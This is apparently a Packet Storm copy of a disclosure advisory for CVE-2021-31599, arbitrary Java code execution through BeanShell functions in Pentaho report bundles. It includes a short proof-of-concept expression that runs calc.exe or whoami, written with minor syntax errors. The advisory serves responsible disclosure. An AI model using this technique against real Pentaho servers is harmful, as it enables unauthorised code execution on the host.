what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Pentaho Business Analytics / Pentaho Business Server 9.1 Remote Code Execution

Pentaho Business Analytics / Pentaho Business Server 9.1 Remote Code Execution
Posted Nov 5, 2021
Authored by Altion Malka, Alberto Favero

Pentaho allows users to create and run Pentaho Report Bundles (.prpt). Users can create PRPT reports by utilizing the Pentaho Designer application and can include BeanShell Script functions to ease the production of complex reports. However, the BeanShell Script functions can allow for the execution of arbitrary Java code when Pentaho PRPT Reports are run by Pentaho Business Analytics. This functionality allows any user with sufficient privileges to upload or edit an existing Pentaho Report Bundle (through Pentaho Designer) and execute arbitrary code in the context of the Pentaho application user running on the web server.

tags | exploit, java, web, arbitrary
advisories | CVE-2021-31599
SHA-256 | 9f8cbd9f5ed4747e5a6fd8e34452cf38b7608a4e96f8f1551a4a3068ced96949

Pentaho Business Analytics / Pentaho Business Server 9.1 Remote Code Execution

Change Mirror Download
Product: Pentaho Business Analytics / Pentaho Business Server
Vendor / Manufacturer: Hitachi
Affected Version(s): <= 9.1
Vulnerability Type: Remote Code Execution through Pentaho Report Bundles
Solution Status: Fix Released on public GitHub repository
Manufacturer Notification: 8th February 2021
Solution Date: May 2021
Public Disclosure: 01 November 2021
CVE Reference: CVE-2021-31599
Author(s) of Advisory: Alberto Favero ( HawSec ) & Altion Malka

--- ### --- ### ---

Product Description:

Pentaho is business intelligence (BI) software that provides data
integration, OLAP services, reporting, information dashboards, data mining
and extract, transform, load (ETL) capabilities. Its headquarters are in
Orlando, Florida. Pentaho was acquired by Hitachi Data Systems in 2015 and
in 2017 became part of Hitachi Vantara.

( Source: https://en.wikipedia.org/wiki/Pentaho )

--- ### --- ### ---

Vulnerability Details:

Pentaho allows users to create and run Pentaho Report Bundles (.prpt).
Users can create PRPT reports by utilizing the Pentaho Designer application
and can include BeanShell Script functions to ease the production of
complex reports. However, the BeanShell Script functions can allow
for the execution of arbitrary Java code when Pentaho PRPT Reports are run
by Pentaho Business Analytics. This functionality allows any user with
sufficient privileges to upload or edit an existing Pentaho Report Bundle
(through Pentaho Designer) and execute arbitrary code in the
context of the Pentaho application user running on the web server.

The following proof-of-concept BeanShell Expression demonstrates Remote
Code Execution on the underlying host server of the Pentaho application.

--- ~~~ --- ~~~ ---
// BeanShell Expression
getValue() {
// Detect the underlying Operating System
boolean isWindowsOS = System.getProperty("os.name
").toLowerCase().startsWith("windows");
if (isWindows) {
// Spawning Windows Calculator App
Runtime.getRuntime().exec("calc.exe");
} else {
// Executing the Linux ‘whoami’ command
Runtime.getRuntime().exec("whoami");
}
}
// Returns the string “done” When the PRPT report is executed
return ("Done!");
}
--- ~~~ --- ~~~ ---

--- ### --- ### ---

Proof of Concept (PoC):

See Ginger ( https://github.com/HawSec/ginger ) or the attaced PRPT file

--- ### --- ### ---

References:

- https://beanshell.github.io/intro.html
-
https://javadoc.pentaho.com/reporting/pentaho-reporting-engine-classic-core/org/pentaho/reporting/engine/classic/core/modules/misc/beanshell/BSHExpression.html#getValue()

--- ### --- ### ---


Credits:

This vulnerability was discovered by Alberto Favero & Altion Malka

--- ### --- ### ---


--
BlackHawk - hawkgotyou@gmail.com

Experientia senum, agilitas iuvenum.
Adversa fortiter. Dubia prudenter.
Login or Register to add favorites

File Archive:

October 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    10 Files
  • 2
    Oct 2nd
    0 Files
  • 3
    Oct 3rd
    12 Files
  • 4
    Oct 4th
    15 Files
  • 5
    Oct 5th
    18 Files
  • 6
    Oct 6th
    16 Files
  • 7
    Oct 7th
    12 Files
  • 8
    Oct 8th
    0 Files
  • 9
    Oct 9th
    0 Files
  • 10
    Oct 10th
    0 Files
  • 11
    Oct 11th
    0 Files
  • 12
    Oct 12th
    0 Files
  • 13
    Oct 13th
    0 Files
  • 14
    Oct 14th
    0 Files
  • 15
    Oct 15th
    0 Files
  • 16
    Oct 16th
    0 Files
  • 17
    Oct 17th
    0 Files
  • 18
    Oct 18th
    0 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close